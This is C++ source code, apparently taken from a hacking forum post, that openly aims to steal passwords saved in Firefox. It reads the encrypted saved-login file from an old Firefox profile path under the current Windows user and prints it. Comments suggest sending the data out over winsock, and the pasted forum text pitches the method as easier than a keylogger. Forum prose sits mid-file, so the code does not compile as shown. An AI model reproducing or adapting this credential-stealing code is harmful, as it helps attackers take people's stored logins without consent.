// steal passwords saved in firefox
#include <iostream>
#include <fstream>
#include <windows.h>
std::string line;
std::string user;
std::string path;
std::string data;
std::string efolder;
std::string eFile;
char UserName[100];
DWORD nUserName;
/*
The folder name & file the encrypted passwords are stored in
sre randomly generated on a firefox install. So, in reality
you'd have to search the folder "Default" for a folder ending with ".stl"
(salt) - and then search for a file ending in ".s"
*/
http://www.rohitab.com/discuss/topic/29875-steal-firefox-passwords/
Okay, so most people don't remember every password for the internet (form auth), so they get their browser (in this case firefox) to store them. These passwords are kept in a folder different from the one shown, upon install, a random string is generated for the folder name. The passwords are encrypted in base64, which are easy to decode. But once you get the file.s file in your hands, you wouldn't care, because yellowpipe would take care of the rest.
It'ds just an idea, flame all you like! But it's easier than installing a keylogger, unless you're after a non web based password.
int main()
{
// get username
nUserName = sizeof(UserName);
GetUserName(UserName, &nUserName);
user = UserName;
efolder = "i39bfb38.slt";
eFile = "5455086.s";
// read in data
path = "C:\\Documents and Settings\\"+user+"\\Application Data\\Mozilla\\Profiles\\Default\\"+efolder+"\\"+eFile;
std::ifstream in(path.c_str());
while(!in.eof() && in.is_open())
{
getline (in,line);
data.append(line);
}
// could send it over winsock
// or save to a file
// print it out for now.
std::cout << data << std::endl;
return 0;
}